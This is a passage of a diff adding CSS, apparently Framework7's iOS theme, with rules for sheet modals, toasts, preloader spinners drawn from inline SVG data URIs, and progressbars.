relative; + width: 100%; +} +.ios .sheet-modal { + background: #cfd5da; +} +.ios .sheet-modal .toolbar { + background: #f7f7f8; +} +.ios .sheet-modal .toolbar + .sheet-modal-inner { + height: calc(100% - 44px); +} +.ios .sheet-modal .toolbar ~ .sheet-modal-inner .page-content { + padding-bottom: 0; +} +.ios .sheet-modal .toolbar:before { + content: ''; + position: absolute; + background-color: #929499; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .sheet-modal .toolbar:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .sheet-modal .toolbar:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios.device-iphone-x .sheet-modal .toolbar ~ .sheet-modal-inner .page-content, +.ios.device-iphone-x .sheet-modal .sheet-modal-inner > .page-content { + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +.ios .theme-dark .sheet-modal, +.sheet-modal.ios .theme-dark { + background-color: #171717; +} +.ios .theme-dark .sheet-modal .toolbar, +.sheet-modal.ios .theme-dark .toolbar { + background-color: #1b1b1b; +} +.ios .theme-dark .sheet-modal .toolbar:before, +.sheet-modal.ios .theme-dark .toolbar:before { + background-color: #282829; +} +/* === Toast === */ +.toast { + -webkit-transition-property: opacity, -webkit-transform; + transition-property: opacity, -webkit-transform; + transition-property: transform, opacity; + transition-property: transform, opacity, -webkit-transform; + position: absolute; + max-width: 568px; + z-index: 20000; + color: #fff; + font-size: 14px; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.toast.modal-in { + opacity: 1; +} +.toast .toast-content { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.toast .toast-text { + line-height: 20px; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + min-width: 0; +} +.toast .toast-button { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.toast.toast-with-icon .toast-content { + display: block; + text-align: center; +} +.toast.toast-with-icon .toast-text { + text-align: center; +} +.toast.toast-with-icon .toast-icon .f7-icons { + font-size: 50px; + width: 50px; + height: 50px; +} +.toast.toast-with-icon .toast-icon .material-icons { + font-size: 48px; + width: 48px; + height: 48px; +} +.toast.toast-center { + top: 50%; + opacity: 0; +} +@media (min-width: 1024px) { + .toast { + opacity: 0; + } +} +html.with-statusbar.device-ios .toast-top, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .toast-top { + margin-top: 20px; +} +html.with-statusbar.device-iphone-x .toast-top { + margin-top: constant(safe-area-inset-top); + margin-top: env(safe-area-inset-top); +} +html.with-statusbar.device-android .toast-top, +html.with-statusbar.md:not(.device-ios):not(.device-android) .toast-top { + margin-top: 24px; +} +.ios .toast { + -webkit-transition-duration: 450ms; + transition-duration: 450ms; + background: rgba(0, 0, 0, 0.75); + opacity: 0; + width: 100%; + left: 0; +} +@supports ((-webkit-backdrop-filter: blur(10px)) or (backdrop-filter: blur(10px))) { + .ios .toast { + background: rgba(0, 0, 0, 0.65); + -webkit-backdrop-filter: blur(10px); + backdrop-filter: blur(10px); + } +} +.ios .toast.toast-center { + width: auto; + left: 50%; + border-radius: 8px; + -webkit-transform: translate3d(-50%, -50%, 0); + transform: translate3d(-50%, -50%, 0); +} +.ios .toast.toast-center.modal-in { + -webkit-transform: translate3d(-50%, -50%, 0); + transform: translate3d(-50%, -50%, 0); + opacity: 1; +} +.ios .toast.toast-top { + top: 0; + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); +} +.ios .toast.toast-top.modal-in { + -webkit-transform: translate3d(0, 0%, 0); + transform: translate3d(0, 0%, 0); + opacity: 1; +} +.ios .toast.toast-bottom { + bottom: 0; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +.ios .toast.toast-bottom.modal-in { + -webkit-transform: translate3d(0, 0%, 0); + transform: translate3d(0, 0%, 0); + opacity: 1; +} +@media (min-width: 569px) { + .ios .toast { + left: 50%; + margin-left: -284px; + } + .ios .toast.toast-center { + margin-left: 0; + } +} +@media (min-width: 569px) { + .ios .toast { + border-radius: 8px; + } + .ios .toast.toast-bottom { + bottom: 15px; + } + .ios .toast.toast-top { + top: 15px; + } +} +@media (min-width: 1024px) { + .ios .toast { + margin-left: 0; + width: auto; + } + .ios .toast.toast-bottom, + .ios .toast.toast-top { + left: 15px; + } +} +.ios .toast-content { + padding: 12px 15px; +} +.ios .toast-button { + color: #fff; + margin-left: 15px; +} +@media (max-width: 568px) { + .ios.device-iphone-x .toast-bottom .toast-content { + padding-bottom: calc(12px + constant(safe-area-inset-bottom)); + padding-bottom: calc(12px + env(safe-area-inset-bottom)); + } +} +@media (min-width: 569px) { + .ios.device-iphone-x .toast-bottom { + bottom: calc(15px + constant(safe-area-inset-bottom)); + bottom: calc(15px + env(safe-area-inset-bottom)); + } +} +/* === Preloader === */ +.preloader { + display: inline-block; + vertical-align: middle; +} +/* === Preloader Modal === */ +.preloader-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + visibility: visible; + opacity: 0; + background: none; +} +.preloader-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.preloader-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.preloader-modal { + position: absolute; + left: 50%; + top: 50%; + padding: 8px; + background: rgba(0, 0, 0, 0.8); + z-index: 13500; + -webkit-transform: translateX(-50%) translateY(-50%); + transform: translateX(-50%) translateY(-50%); +} +.preloader-modal .preloader { + display: block !important; +} +html.with-modal-preloader .page-content { + overflow: hidden; + -webkit-overflow-scrolling: auto; +} +.ios .preloader { + width: 20px; + height: 20px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%236c6c6c'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); + background-position: 50%; + background-size: 100%; + background-repeat: no-repeat; + -webkit-animation: ios-preloader-spin 1s steps(12, end) infinite; + animation: ios-preloader-spin 1s steps(12, end) infinite; +} +.ios .preloader-modal { + border-radius: 5px; +} +.ios .preloader-modal .preloader { + width: 34px; + height: 34px; +} +.ios .preloader.color-red, +.ios .preloader.preloader-red { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ff3b30'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-green, +.ios .preloader.preloader-green { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%234cd964'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-blue, +.ios .preloader.preloader-blue { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23007aff'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-pink, +.ios .preloader.preloader-pink { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ff2d55'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-yellow, +.ios .preloader.preloader-yellow { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ffcc00'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-orange, +.ios .preloader.preloader-orange { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ff9500'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-gray, +.ios .preloader.preloader-gray { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%238e8e93'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-white, +.ios .preloader.preloader-white { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ffffff'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-black, +.ios .preloader.preloader-black { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23000000'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +@-webkit-keyframes ios-preloader-spin { + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); + } +} +@keyframes ios-preloader-spin { + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); + } +} +/* === Progressbar === */ +.progressbar, +.progressbar-infinite { + width: 100%; + overflow: hidden; + position: relative; + display: block; + -webkit-transform-style: preserve-3d; + transform-style: preserve-3d; +} +body > .progressbar, +.view > .progressbar, +.views > .progressbar, +.page > .progressbar, +.panel > .progressbar, +.popup > .progressbar, +.framework7-root > .progressbar, +body > .progressbar-infinite, +.view > .progressbar-infinite, +.views > .progressbar-infinite, +.page > .progressbar-infinite, +.panel > .progressbar-infinite, +.popup > .progressbar-infinite, +.framework7-root > .progressbar-infinite { + position: absolute; + left: 0; + top: 0; + z-index: 15000; + border-radius: 0 !important; + -webkit-transform-origin: center top !important; + transform-origin: center top !important; +} +.with-statusbar.device-ios body > .progressbar, +.with-statusbar.ios:not(.device-ios):not(.device-android) body > .progressbar, +.with-statusbar.device-ios .framework7-root > .progressbar, +.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root > .progressbar, +.with-statusbar.device-ios body > .progressbar-infinite, +.with-statusbar.ios:not(.device-ios):not(.device-android) body > .progressbar-infinite, +.with-statusbar.device-ios .framework7-root > .progressbar-infinite, +.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root > .progressbar-infinite { + top: 20px; +} +.with-statusbar.device-android body > .progressbar, +.with-statusbar.md:not(.device-ios):not(.device-android) body > .progressbar, +.with-statusbar.device-android .framework7-root > .progressbar, 